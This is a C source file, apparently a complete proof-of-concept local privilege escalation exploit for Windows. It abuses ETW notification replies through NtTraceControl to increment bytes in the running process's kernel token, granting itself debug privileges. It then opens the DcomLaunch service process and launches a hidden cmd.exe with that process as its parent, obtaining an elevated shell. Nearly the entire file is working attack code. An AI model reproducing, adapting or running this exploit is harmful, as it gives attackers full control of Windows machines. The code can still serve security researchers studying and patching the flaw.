#include <Windows.h>
#include <guiddef.h>
#include <evntprov.h>
#include <initguid.h>
#include <conio.h>
#include <stdio.h>
#include <winternl.h>
#include <winnt.h>

EXTERN_C
NTSTATUS
WINAPI
NtTraceControl (
    DWORD Operation,
    LPVOID InputBuffer,
    DWORD InputSize,
    LPVOID OutputBuffer,
    DWORD OutputSize,
    LPDWORD BytesReturned
);

EXTERN_C
ULONG
EtwNotificationRegister (
    LPCGUID Guid,
    ULONG Type,
    PVOID Callback,
    PVOID Context,
    REGHANDLE* RegHandle
);

#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16

typedef struct _EX_PUSH_LOCK
{
    union
    {
        /* 0x0000 */ unsigned __int64 Locked : 1; /* bit position: 0 */
        /* 0x0000 */ unsigned __int64 Waiting : 1; /* bit position: 1 */
        /* 0x0000 */ unsigned __int64 Waking : 1; /* bit position: 2 */
        /* 0x0000 */ unsigned __int64 MultipleShared : 1; /* bit position: 3 */
        /* 0x0000 */ unsigned __int64 Shared : 60; /* bit position: 4 */
        /* 0x0000 */ void* Ptr;
    };
} EX_PUSH_LOCK, * PEX_PUSH_LOCK; /* size: 0x0008 */

typedef struct _QUAD
{
    union
    {
        /* 0x0000 */ __int64 UseThisFieldToCopy;
        /* 0x0000 */ double DoNotUseThisField;
    }; /* size: 0x0008 */
} QUAD, * PQUAD; /* size: 0x0008 */

typedef struct _OBJECT_HEADER
{
    /* 0x0000 */ __int64 PointerCount;
    union
    {
        /* 0x0008 */ __int64 HandleCount;
        /* 0x0008 */ void* NextToFree;
    }; /* size: 0x0008 */
    /* 0x0010 */ struct _EX_PUSH_LOCK Lock;
    /* 0x0018 */ unsigned char TypeIndex;
    union
    {
        /* 0x0019 */ unsigned char TraceFlags;
        /* 0x0019 */ unsigned char DbgRefTrace : 1; /* bit position: 0 */
        /* 0x0019 */ unsigned char DbgTracePermanent : 1; /* bit position: 1 */
    }; /* size: 0x0001 */
    /* 0x001a */ unsigned char InfoMask;
    union
    {
        /* 0x001b */ unsigned char Flags;
        /* 0x001b */ unsigned char NewObject : 1; /* bit position: 0 */
        /* 0x001b */ unsigned char KernelObject : 1; /* bit position: 1 */
        /* 0x001b */ unsigned char KernelOnlyAccess : 1; /* bit position: 2 */
        /* 0x001b */ unsigned char ExclusiveObject : 1; /* bit position: 3 */
        /* 0x001b */ unsigned char PermanentObject : 1; /* bit position: 4 */
        /* 0x001b */ unsigned char DefaultSecurityQuota : 1; /* bit position: 5 */
        /* 0x001b */ unsigned char SingleHandleEntry : 1; /* bit position: 6 */
        /* 0x001b */ unsigned char DeletedInline : 1; /* bit position: 7 */
    }; /* size: 0x0001 */
    /* 0x001c */ unsigned long Reserved;
    union
    {
        /* 0x0020 */ struct _OBJECT_CREATE_INFORMATION* ObjectCreateInfo;
        /* 0x0020 */ void* QuotaBlockCharged;
    }; /* size: 0x0008 */
    /* 0x0028 */ void* SecurityDescriptor;
    /* 0x0030 */ struct _QUAD Body;
} OBJECT_HEADER, * POBJECT_HEADER; /* size: 0x0038 */
static_assert(offsetof(OBJECT_HEADER, Body) == 0x30, "Wrong offset");

typedef struct _SEP_TOKEN_PRIVILEGES
{
    /* 0x0000 */ unsigned __int64 Present;
    /* 0x0008 */ unsigned __int64 Enabled;
    /* 0x0010 */ unsigned __int64 EnabledByDefault;
} SEP_TOKEN_PRIVILEGES, * PSEP_TOKEN_PRIVILEGES; /* size: 0x0018 */

typedef struct _SEP_AUDIT_POLICY
{
    /* 0x0000 */ struct _TOKEN_AUDIT_POLICY AdtTokenPolicy;
    /* 0x001e */ unsigned char PolicySetStatus;
} SEP_AUDIT_POLICY, * PSEP_AUDIT_POLICY; /* size: 0x001f */

typedef struct _TOKEN
{
    /* 0x0000 */ struct _TOKEN_SOURCE TokenSource;
    /* 0x0010 */ struct _LUID TokenId;
    /* 0x0018 */ struct _LUID AuthenticationId;
    /* 0x0020 */ struct _LUID ParentTokenId;
    /* 0x0028 */ union _LARGE_INTEGER ExpirationTime;
    /* 0x0030 */ struct _ERESOURCE* TokenLock;
    /* 0x0038 */ struct _LUID ModifiedId;
    /* 0x0040 */ struct _SEP_TOKEN_PRIVILEGES Privileges;
    /* 0x0058 */ struct _SEP_AUDIT_POLICY AuditPolicy;
    /* 0x0078 */ unsigned long SessionId;
    /* 0x007c */ unsigned long UserAndGroupCount;
    /* 0x0080 */ unsigned long RestrictedSidCount;
    /* 0x0084 */ unsigned long VariableLength;
    /* 0x0088 */ unsigned long DynamicCharged;
    /* 0x008c */ unsigned long DynamicAvailable;
    /* 0x0090 */ unsigned long DefaultOwnerIndex;
    /* 0x0098 */ struct SID_AND_ATTRIBUTES* UserAndGroups;
    /* 0x00a0 */ struct SID_AND_ATTRIBUTES* RestrictedSids;
    /* 0x00a8 */ void* PrimaryGroup;
    /* 0x00b0 */ unsigned long* DynamicPart;
    /* 0x00b8 */ struct _ACL* DefaultDacl;
    /* 0x00c0 */ enum _TOKEN_TYPE TokenType;
    /* 0x00c4 */ enum _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
    /* 0x00c8 */ unsigned long TokenFlags;
    /* 0x00cc */ unsigned char TokenInUse;
    /* 0x00d0 */ unsigned long IntegrityLevelIndex;
    /* 0x00d4 */ unsigned long MandatoryPolicy;
    /* 0x00d8 */ struct _SEP_LOGON_SESSION_REFERENCES* LogonSession;
    /* 0x00e0 */ struct _LUID OriginatingLogonSession;
    /* 0x00e8 */ struct _SID_AND_ATTRIBUTES_HASH SidHash;
    /* 0x01f8 */ struct _SID_AND_ATTRIBUTES_HASH RestrictedSidHash;
    /* 0x0308 */ struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes;
    /* 0x0310 */ void* Package;
    /* 0x0318 */ struct _SID_AND_ATTRIBUTES* Capabilities;
    /* 0x0320 */ unsigned long CapabilityCount;
    /* 0x0328 */ struct _SID_AND_ATTRIBUTES_HASH CapabilitiesHash;
    /* 0x0438 */ struct _SEP_LOWBOX_NUMBER_ENTRY* LowboxNumberEntry;
    /* 0x0440 */ struct _SEP_CACHED_HANDLES_ENTRY* LowboxHandlesEntry;
    /* 0x0448 */ struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION* pClaimAttributes;
    /* 0x0450 */ void* TrustLevelSid;
    /* 0x0458 */ struct _TOKEN* TrustLinkedToken;
    /* 0x0460 */ void* IntegrityLevelSidValue;
    /* 0x0468 */ struct _SEP_SID_VALUES_BLOCK* TokenSidValues;
    /* 0x0470 */ struct _SEP_LUID_TO_INDEX_MAP_ENTRY* IndexEntry;
    /* 0x0478 */ struct _SEP_TOKEN_DIAG_TRACK_ENTRY* DiagnosticInfo;
    /* 0x0480 */ struct _SEP_CACHED_HANDLES_ENTRY* BnoIsolationHandlesEntry;
    /* 0x0488 */ void* SessionObject;
    /* 0x0490 */ unsigned __int64 VariablePart;
} TOKEN, * PTOKEN; /* size: 0x0498 */

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    /* 0x0000 */ unsigned short UniqueProcessId;
    /* 0x0002 */ unsigned short CreatorBackTraceIndex;
    /* 0x0004 */ unsigned char ObjectTypeIndex;
    /* 0x0005 */ unsigned char HandleAttributes;
    /* 0x0006 */ unsigned short HandleValue;
    /* 0x0008 */ void* Object;
    /* 0x0010 */ unsigned long GrantedAccess;
    /* 0x0014 */ long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; /* size: 0x0018 */

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    /* 0x0000 */ unsigned long NumberOfHandles;
    /* 0x0008 */ struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; /* size: 0x0020 */

typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO
{
    HANDLE HandleValue;
    ULONGLONG HandleCount;
    ULONGLONG PointerCount;
    ACCESS_MASK GrantedAccess;
    ULONG ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;

typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
{
    ULONGLONG NumberOfHandles;
    ULONGLONG Reserved;
    PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;

typedef enum _ETW_NOTIFICATION_TYPE
{
    EtwNotificationTypeNoReply = 1,
    EtwNotificationTypeLegacyEnable = 2,
    EtwNotificationTypeEnable = 3,
    EtwNotificationTypePrivateLogger = 4,
    EtwNotificationTypePerflib = 5,
    EtwNotificationTypeAudio = 6,
    EtwNotificationTypeSession = 7,
    EtwNotificationTypeReserved = 8,
    EtwNotificationTypeCredentialUI = 9,
    EtwNotificationTypeMax = 10,
} ETW_NOTIFICATION_TYPE;

enum ETWTRACECONTROLCODE_PRIV
{
    EtwRealtimeConnectCode = 11,
    EtwRealtimeDisconnectCode = 14,
    EtwRegisterGuidsCode,
    EtwReceiveNotification,
    EtwSendDataBlock,
    EtwSendReplyDataBlock,
    EtwReceiveReplyDataBlock,
    EtwEnumTraceGuidList = 21,
    EtwGetTraceGuidInfo,
    EtwEnumerateTraceGuids,
    EtwRegisterSecurityProv,
#if (NTDDI_VERSION >= NTDDI_WIN8)
    EtwReferenceTimeCode,
    EtwTrackBinaryCode
#endif
};

typedef struct _ETW_NOTIFICATION_HEADER
{
    /* 0x0000 */ enum _ETW_NOTIFICATION_TYPE NotificationType;
    /* 0x0004 */ unsigned long NotificationSize;
    /* 0x0008 */ unsigned long Offset;
    /* 0x000c */ unsigned char ReplyRequested;
    /* 0x0010 */ unsigned long Timeout;
    union
    {
        /* 0x0014 */ unsigned long ReplyCount;
        /* 0x0014 */ unsigned long NotifyeeCount;
    }; /* size: 0x0004 */
    /* 0x0018 */ unsigned __int64 Reserved2;
    /* 0x0020 */ unsigned long TargetPID;
    /* 0x0024 */ unsigned long SourcePID;
    /* 0x0028 */ struct _GUID DestinationGuid;
    /* 0x0038 */ struct _GUID SourceGuid;
} ETW_NOTIFICATION_HEADER, * PETW_NOTIFICATION_HEADER; /* size: 0x0048 */

typedef struct _ETWP_NOTIFICATION_HEADER
{
    /* 0x0000 */ enum _ETW_NOTIFICATION_TYPE NotificationType;
    /* 0x0004 */ unsigned long NotificationSize;
    /* 0x0008 */ long RefCount;
    /* 0x000c */ unsigned char ReplyRequested;
    union
    {
        /* 0x0010 */ unsigned long ReplyIndex;
        /* 0x0010 */ unsigned long Timeout;
    }; /* size: 0x0004 */
    union
    {
        /* 0x0014 */ unsigned long ReplyCount;
        /* 0x0014 */ unsigned long NotifyeeCount;
    }; /* size: 0x0004 */
    union
    {
        /* 0x0018 */ unsigned __int64 ReplyHandle;
        /* 0x0018 */ void* ReplyObject;
        /* 0x0018 */ unsigned long RegIndex;
    }; /* size: 0x0008 */
    /* 0x0020 */ unsigned long TargetPID;
    /* 0x0024 */ unsigned long SourcePID;
    /* 0x0028 */ struct _GUID DestinationGuid;
    /* 0x0038 */ struct _GUID SourceGuid;
} ETWP_NOTIFICATION_HEADER, * PETWP_NOTIFICATION_HEADER; /* size: 0x0048 */

typedef struct _OBJECT_TYPE_INFORMATION
{
    UNICODE_STRING TypeName;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccessMask;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    BOOLEAN TypeIndex;
    CHAR ReservedByte;
    ULONG PoolType;
    ULONG DefaultPagedPoolCharge;
    ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

DEFINE_GUID(EXPLOIT_GUID, 0x4838fe4f, 0xf71c, 0x4e51, 0x9e, 0xcc, 0x84, 0x30, 0xa7, 0xac, 0x4c, 0x6c);

HRESULT
GetTokenObjectIndex (
    _Out_ PULONG TokenIndex
    )
{
    HANDLE hToken;
    BOOL bRes;
    NTSTATUS status;
    struct
    {
        OBJECT_TYPE_INFORMATION TypeInfo;
        WCHAR TypeNameBuffer[sizeof("Token")];
    } typeInfoWithName;

    //
    // Open the current process token
    //
    bRes = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
    if (bRes == FALSE)
    {
        return HRESULT_FROM_WIN32(GetLastError());
    }

    //
    // Get the object type information for the token handle
    //
    status = NtQueryObject(hToken,
                           ObjectTypeInformation,
                           &typeInfoWithName,
                           sizeof(typeInfoWithName),
                           NULL);
    CloseHandle(hToken);
    if (!NT_SUCCESS(status))
    {
        return HRESULT_FROM_NT(status);
    }

    //
    // Return the object type index
    //
    *TokenIndex = typeInfoWithName.TypeInfo.TypeIndex;
    return ERROR_SUCCESS;
}

HRESULT
GetProcessTokenAddress (
    _In_ HANDLE tokenHandle,
    _Out_ PVOID* HandleAddress
    )
{
    NTSTATUS status;

    SYSTEM_HANDLE_INFORMATION localInfo;
    PSYSTEM_HANDLE_INFORMATION handleInfo = &localInfo;

    ULONG bytes;
    ULONG tokenIndex;
    ULONG i;
    HRESULT hResult;

    *HandleAddress = 0;
    //
    // Get the Object Type Index for Token Objects so we can recognize them
    //
    hResult = GetTokenObjectIndex(&tokenIndex);
    if (FAILED(hResult))
    {
        printf("Failed to get token\n");
        goto Failure;
    }

    //
    // Check how nig the handle table is
    //
    status = NtQuerySystemInformation(SystemHandleInformation,
                                      handleInfo,
                                      sizeof(*handleInfo),
                                      &bytes);
    if (NT_SUCCESS(status))
    {
        printf("NtQuerySystemInformation failed: 0x%x\n", status);
        hResult = ERROR_UNIDENTIFIED_ERROR;
        goto Failure;
    }

    //
    // Add space for 100 more handles and try again
    //
    bytes += 100 * sizeof(*handleInfo);
    handleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),
                                                       HEAP_ZERO_MEMORY,
                                                       bytes);
    status = NtQuerySystemInformation(SystemHandleInformation,
                                      handleInfo,
                                      bytes,
                                      &bytes);
    if (!NT_SUCCESS(status) || !handleInfo)
    {
        hResult = HRESULT_FROM_NT(status);
        printf("NtQuerySystemInformation #2 failed: 0x%x\n", status);
        goto Failure;
    }

    //
    // Enumerate each one
    //
    for (i = 0; i < handleInfo->NumberOfHandles; i++)
    {
        //
        // Check if it's the token of this process
        //
        if ((handleInfo->Handles[i].ObjectTypeIndex == tokenIndex) &&
            (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) &&
            ((HANDLE)handleInfo->Handles[i].HandleValue == tokenHandle))
        {
            printf("Found current process token\n");
            *HandleAddress = handleInfo->Handles[i].Object;
        }
    }

Failure:
    //
    // Free the handle list if we had one
    //
    if (handleInfo != &localInfo)
    {
        HeapFree(GetProcessHeap(), 0, handleInfo);
    }
    return hResult;
}

HRESULT
GetServiceHandle (
    _In_ LPCWSTR ServiceName,
    _Out_ PHANDLE ProcessHandle
    )
{
    SC_HANDLE hScm, hRpc;
    BOOL bRes;
    SERVICE_STATUS_PROCESS procInfo;
    HRESULT hResult;
    DWORD dwBytes;
    HANDLE hProc;

    //
    // Prepare for cleanup
    //
    hScm = NULL;
    hRpc = NULL;

    //
    // Connect to the SCM
    //
    hScm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
    if (hScm == NULL)
    {
        hResult = HRESULT_FROM_WIN32(GetLastError());
        printf("OpenScManager failed with error %d\n", hResult);
        goto Failure;
    }

    //
    // Open the service
    //
    hRpc = OpenService(hScm, ServiceName, SERVICE_QUERY_STATUS);
    if (hRpc == NULL)
    {
        hResult = HRESULT_FROM_WIN32(GetLastError());
        printf("OpenService failed with error %d\n", hResult);
        goto Failure;
    }

    //
    // Query the process information
    //
    bRes = QueryServiceStatusEx(hRpc,
                                SC_STATUS_PROCESS_INFO,
                                (LPBYTE)&procInfo,
                                sizeof(procInfo),
                                &dwBytes);
    if (bRes == FALSE)
    {
        hResult = HRESULT_FROM_WIN32(GetLastError());
        printf("QueryServiceStatusEx failed with error %d\n", hResult);
        goto Failure;
    }

    //
    // Open a handle for all access to the PID
    //
    hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procInfo.dwProcessId);
    if (hProc == NULL)
    {
        hResult = HRESULT_FROM_WIN32(GetLastError());
        printf("OpenProcess failed with error %d\n", hResult);
        goto Failure;
    }

    //
    // Return the PID
    //
    *ProcessHandle = hProc;
    hResult = ERROR_SUCCESS;

Failure:
    //
    // Cleanup the handles
    //
    if (hRpc != NULL)
    {
        CloseServiceHandle(hRpc);
    }
    if (hScm != NULL)
    {
        CloseServiceHandle(hScm);
    }
    return hResult;
}

ULONG
EtwNotificationCallback (
    ETW_NOTIFICATION_HEADER* NotificationHeader,
    PVOID Context
    )
{
    return 1;
}

int main()
{
    ETWP_NOTIFICATION_HEADER dataBlock;
    ETWP_NOTIFICATION_HEADER outputBuffer;
    ULONG returnLength = 0;
    NTSTATUS status;
    REGHANDLE regHandle;
    PVOID tokenAddress;
    HRESULT result;
    PVOID presentPrivilegesAddress;
    PVOID enabledPrivilegesAddress;
    HANDLE processTokenHandle;
    BOOL bRes;
    HANDLE parentHandle;
    PPROC_THREAD_ATTRIBUTE_LIST procList;
    STARTUPINFOEX startupInfoEx;
    PROCESS_INFORMATION processInfo;
    SIZE_T listSize;

    //
    // Open handle to process token
    //
    bRes = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &processTokenHandle);
    if (bRes == FALSE)
    {
        printf("OpenProcessToken failed\n");
        return 0;
    }

    //
    // Get the address of the process token
    //
    result = GetProcessTokenAddress(processTokenHandle, &tokenAddress);
    printf("Process token address: 0x%p\n", tokenAddress);
    CloseHandle(processTokenHandle);

    //
    // We want to set privileges for the process so we calculate the address of Token.Privileges
    // SE_DEBUG_PRIVILEGE is 0x100000 but we can only create up to 0x7f0 providers.
    // So instead we will shift the addresses that we want to increment by 2 bytes
    // and then we only need to increment by 0x10 (since we are incrementing the third byte directly)
    //
    presentPrivilegesAddress = (PVOID)((ULONG64)tokenAddress +
                               offsetof(TOKEN, Privileges.Present) +  2);
    enabledPrivilegesAddress = (PVOID)((ULONG64)tokenAddress +
                               offsetof(TOKEN, Privileges.Enabled) + 2);
    printf("Editing addresses: 0x%p, 0x%p\n",
           presentPrivilegesAddress,
           enabledPrivilegesAddress);

    RtlZeroMemory(&dataBlock, sizeof(dataBlock));

    printf("Editing privileges...\n");
    //
    // Create 0x10 providers
    //
    for (int i = 0; i < 0x10; i++)
    {
        result = EtwNotificationRegister(&EXPLOIT_GUID,
                                         EtwNotificationTypeCredentialUI,
                                         EtwNotificationCallback,
                                         NULL,
                                         &regHandle);
        if (!SUCCEEDED(result))
        {
            printf("Failed registering new provider\n");
            return 0;
        }
    }
    //
    // Queue the first request that will increment our present privileges
    //
    dataBlock.NotificationType = EtwNotificationTypeCredentialUI;
    //
    // Has to be anything other than 0 and 1
    //
    dataBlock.ReplyRequested = 2;
    dataBlock.NotificationSize = sizeof(dataBlock);
    //
    // The byte at ReplyObject - 0x30 will be incremented
    //
    dataBlock.ReplyObject = (void*)((ULONG64)(presentPrivilegesAddress) +
                            offsetof(OBJECT_HEADER, Body));
    dataBlock.DestinationGuid = EXPLOIT_GUID;
    status = NtTraceControl(EtwSendDataBlock,
                            &dataBlock,
                            sizeof(dataBlock),
                            &outputBuffer,
                            sizeof(outputBuffer),
                            &returnLength);

    //
    // Queue a second request to increment our enabled privileges
    //
    dataBlock.NotificationType = EtwNotificationTypeCredentialUI;
    //
    // Has to be anything other than 0 and 1
    //
    dataBlock.ReplyRequested = 2;
    dataBlock.NotificationSize = sizeof(dataBlock);
    //
    // The byte at ReplyObject - 0x30 will be incremented
    //
    dataBlock.ReplyObject = (void*)((ULONG64)(enabledPrivilegesAddress) + 
                            offsetof(OBJECT_HEADER, Body));
    dataBlock.DestinationGuid = EXPLOIT_GUID;
    status = NtTraceControl(EtwSendDataBlock,
                            &dataBlock,
                            sizeof(dataBlock),
                            &outputBuffer,
                            sizeof(outputBuffer),
                            &returnLength);
    printf("Done editing privileges\n");
    //
    // Now queue 2 harmless messages just to take up the rest of the slots
    //
    for (int i = 0; i < 2; i++)
    {
        dataBlock.NotificationType = EtwNotificationTypeCredentialUI;
        dataBlock.ReplyRequested = 1;
        dataBlock.NotificationSize = sizeof(dataBlock);
        dataBlock.DestinationGuid = EXPLOIT_GUID;
        status = NtTraceControl(EtwSendDataBlock,
                                &dataBlock,
                                sizeof(dataBlock),
                                &outputBuffer,
                                sizeof(outputBuffer),
                                &returnLength);
        if (!NT_SUCCESS(status))
        {
            printf("Failed incrementing arbitrary location\n");
            goto Exit;
        }
    }
    printf("Exploit successfully elevated to receive debug privileges\n");

    //
    // Open a handle to DCOM Launch
    //
    result = GetServiceHandle(L"DcomLaunch", &parentHandle);
    if (FAILED(result))
    {
        printf("Failed to get handle to DcomLaunch service\n");
        goto Exit;
    }
    printf("Received handle to DcomLaunch\n");

    //
    // Create a new process with DcomLaunch as a parent
    //
    procList = NULL;
    //
    // Figure out the size we need for one attribute (this should always fail)
    //
    bRes = InitializeProcThreadAttributeList(NULL, 1, 0, &listSize);
    if (bRes != FALSE)
    {
        printf("InitializeProcThreadAttributeList succeeded when it should have failed\n");
        goto Exit;
    }

    //
    // Then allocate it
    //
    procList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(),
                                                      HEAP_ZERO_MEMORY,
                                                      listSize);
    if (procList == NULL)
    {
        printf("Failed to allocate memory\n");
        goto Exit;
    }
    //
    // Re-initialize the list again
    //
    bRes = InitializeProcThreadAttributeList(procList, 1, 0, &listSize);
    if (bRes == FALSE)
    {
        printf("Failed to initialize procThreadAttributeList\n");
        goto Exit;
    }
    //
    // Now set the DcomLaunch process as the parent
    //
    bRes = UpdateProcThreadAttribute(procList,
                                     0,
                                     PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
                                     &parentHandle,
                                     sizeof(parentHandle),
                                     NULL,
                                     NULL);
    if (bRes == FALSE)
    {
        printf("Failed to update ProcThreadAttribute");
        goto Exit;
    }
    //
    // Initialize the startup info structure to say that we want to:
    //
    //  1) Hide the window
    //  2) Use the socket as standard in/out/error
    //  3) Use an attribute list
    //
    // Then, spawn the process, again making sure there's no window, and
    // indicating that we have extended attributes.
    //
    RtlZeroMemory(&startupInfoEx, sizeof(startupInfoEx));
    startupInfoEx.StartupInfo.cb = sizeof(startupInfoEx);
    startupInfoEx.StartupInfo.wShowWindow = SW_HIDE;
    startupInfoEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW |
                                        STARTF_USESTDHANDLES;
    startupInfoEx.lpAttributeList = procList;
    bRes = CreateProcess(L"c:\\windows\\system32\\cmd.exe",
                         NULL,
                         NULL,
                         NULL,
                         TRUE,
                         CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
                         NULL,
                         NULL,
                         &startupInfoEx.StartupInfo,
                         &processInfo);
    if (bRes == FALSE)
    {
        printf("CreateProcess failed\n");
        goto Exit;
    }
    printf("Created new process with ID %d\n", processInfo.dwProcessId);
    //
    // We never care about the main thread
    //
    CloseHandle(processInfo.hThread);

    //
    // Close the handle to the new process when we're done with it
    //
    CloseHandle(processInfo.hProcess);
Exit:
    //
    // Wait here because our process can't exit without crashing the machine
    //
    _getch();
}